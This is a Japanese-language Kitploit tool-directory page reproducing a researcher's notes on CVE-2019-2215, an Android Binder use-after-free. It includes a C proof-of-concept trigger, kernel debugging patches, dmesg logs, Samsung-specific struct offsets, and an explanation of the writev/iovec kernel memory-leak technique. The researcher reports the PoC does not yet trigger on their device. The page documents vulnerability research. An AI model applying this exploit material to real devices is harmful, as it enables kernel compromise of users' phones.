Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-2215 — CVE-2019-2215のPoCと分析。Android Binderのuse-after-free。影響を受けるSamsungデバイス向けのカーネル計装とエクスプロイトチューニングが含まれています。 | Kitploit
ツール/GitHubGitHub/atorninja/cve-2019-2215
Androidセキュリティメモリフォレンジック脆弱性分析エクスプロイトバイナリエクスプロイト
GitHubatorninja/cve-2019-2215

CVE-2019-2215

CVE-2019-2215のPoCと分析。Android Binderのuse-after-free。影響を受けるSamsungデバイス向けのカーネル計装とエクスプロイトチューニングが含まれています。

リポジトリを見る
31326年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-2215

ソース:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885

Samsung S7 および S7 Edge(Kernel 3.18.x)は脆弱ではないように見えます(ただし、PoC の調整をさらに行えば脆弱である可能性もあります)。root 化されたデバイスがないため、それ以上確認できませんでした。

Samsung S3Neo+(LineageOS Kernel 3.4.0)は脆弱である可能性があります(進行中)

root@kitploit:~
カーネル 3.4.0

https://github.com/S3NEO/android_kernel_samsung_s3ve3g/

KASLR なし

カーネル構造体アドレスをリークする必要なし

8 バイトアライメント(構造体にフィールドが1つ少ないため)

binder_thread サイズ:0xfc (252)

wait queue オフセット:0x2c (44)

トリガーさせるには少なくとも 2 つのエントリを追加する必要がありました。1 つではトリガーしませんでした。

https://github.com/S3NEO/android_kernel_samsung_s3ve3g/blob/348ef929213854f5c7ce6b608e2ca0216d6bdce7/fs/eventpoll.c#L533

PoC:

#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>


#define BINDER_THREAD_EXIT 0x40046208ul
#define BINDER_VERSION 0xc0046209ul

int main()
{
    int fd,fd1,fd2, epfd,epfd1;
    struct epoll_event event = { .events = EPOLLOUT   };

    fd = open("/dev/binder", O_RDONLY);
    fd1 = open("/dev/random", O_RDONLY);
    epfd = epoll_create(1000);
    epfd1 = epoll_create(1000);
  

    if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event)) err(1, "epoll_add");
    if (epoll_ctl(epfd1, EPOLL_CTL_ADD, fd1, &event)) err(1, "epoll_add");




    //ioctl(fd, BINDER_VERSION, NULL);

    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    printf("Finished here.");
}

何が起こっているかを確認するためにカーネルの binder.c と eventpoll.c を改変

binder.c

static int binder_free_thread(struct binder_proc *proc, struct binder_thread *thread) { struct binder_transaction *t; struct binder_transaction *send_reply = NULL; int active_transactions = 0; static const size_t memberOffset = offsetof(binder_thread, wait); wait_queue_head_t *wqhptr = &thread->wait; wait_queue_head_t *pwqhptr = &proc->wait; struct list_head *n1,*p1;

root@kitploit:~
    wait_queue_t *my2;


    printk(KERN_INFO "iovec str size:%d",sizeof(iovec));
    printk(KERN_INFO "thread->task_list:%p",(void *)&wqhptr->task_list);
    printk(KERN_INFO "proc->task_list:%p",(void *)&pwqhptr->task_list);
    list_for_each_safe(p1,n1,  &pwqhptr->task_list){
      my2 = list_entry(p1, wait_queue_t, task_list);
      printk (KERN_INFO "p list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
    }
    list_for_each_safe(p1,n1,  &wqhptr->task_list){
      my2 = list_entry(p1, wait_queue_t, task_list);
      printk (KERN_INFO "t list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
    }

eventpoll.c

static void ep_remove_wait_queue(struct eppoll_entry *pwq) { wait_queue_head_t *whead; wait_queue_t *strptr; struct list_head *n1,*p1;

root@kitploit:~
    wait_queue_t *my2;


    rcu_read_lock();
    /* If it is cleared by POLLFREE, it should be rcu-safe */
    whead = rcu_dereference(pwq->whead);
    printk(KERN_INFO "whead before");

    if (whead)
    {
            strptr=&pwq->wait;


            list_for_each_safe(p1,n1,  &pwq->whead->task_list){
            my2 = list_entry(p1, wait_queue_t, task_list);

            printk (KERN_INFO "my2= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
            }


            remove_wait_queue(whead, &pwq->wait);
            printk(KERN_INFO "remove wait queue:%p", (void*)&pwq->wait);
            printk(KERN_INFO "remove wait queue task list:%p", (void*)&strptr->task_list);
root@kitploit:~

リストが出力されているのは確認できるが、Android ブートアップ中には自分の PoC では出力されない:

Android 起動中

[   84.747753] binder_ioctl: 1878:2371 40046208 0
[   84.747765] iovec str size:8
[   84.747771] thread->task_list:e4fb2e30
[   84.747777] proc->task_list:e57d866c
[   84.747784] p list= e57d866c e7fffe7c
[   84.747790] p list= e656de7c e57d866c
[   84.747797] binder_free_thread size:252 worker_off:44
[   84.747804] freed thread:e4fb2e00

proc->task_list が出力されている...

PoC:

[  642.254192] wq queue:e7ce8798
[  642.254201] epoll struct:e7ce8780
[  642.254214] wq queue:e7ce8f98
[  642.254220] epoll struct:e7ce8f80
[  642.254230] wq queue:e7ce8718
[  642.254236] epoll struct:e7ce8700
[  642.254266] binder_ioctl: 7392:7392 40046208 0
[  642.254274] iovec str size:8
[  642.254280] thread->task_list:e5389b30
[  642.254286] proc->task_list:c309d86c
[  642.254292] binder_free_thread size:252 worker_off:44
[  642.254299] freed thread:e5389b00
[  642.254736] ep_unregister_pollwait struct:e7ce8780 epi struct:e51d0480
[  642.254792] ep_unregister_pollwait struct:e7ce8f80 epi struct:e51d0a80
[  642.254799] ep_unregister_pollwait list not empty
[  642.254805] whead before
[  642.254811] my2= c0f50cc4 c0f50cc4
[  642.254817] remove wait queue:e734b994
[  642.254823] remove wait queue task list:e734b9a0
[  642.254830] ep_unregister_pollwait list not empty
[  642.254835] whead before
[  642.254841] my2= c0f50cd0 c0f50cd0
[  642.254847] remove wait queue:e734bb24
[  642.254852] remove wait queue task list:e734bb30
[  642.254863] ep_free
[  642.254873] ep_free
[  642.254881] ep_free

しかし、バグは自分の PoC ではトリガーされません。thread と proc の下に二重リストエントリが見られません :/

ここで use after free バグが発生するはずです。

コード:

ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);

これが呼ばれると、カーネル内で binder_thread 構造体が解放されます。

その直後に親プロセスが以下を呼び出します:

コード:

b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);

カーネル内では、iovec_array をユーザースペースからコピーするためにメモリが割り当てられます。この PoC は、この割り当てによるポインタが、解放されたばかりの binder_thread メモリと同じになることに依存しています。

次に、子プロセスが終了すると、EPOLL のクリーンアップが、iovec_array の値で上書きされた binder_thread 構造体の waitqueue を使用します。EPOLL クリーンアップが waitqueue をリンク解除する際、0xDEADBEEF がカーネル空間のポインタによって上書きされます。これは、親プロセスの writev 呼び出しが 2 番目のバッファのコピーを開始する直前に発生する必要があり、それによってカーネル空間メモリリークが発生します。

writev が 0x1000 を返す場合、タイミングがずれている、wait queue オフセットが間違っている、writev 関数内の kmalloc 割り当てが解放された binder_thread と同じではない、またはカーネルが脆弱ではないことを意味します。
ツールをダウンロード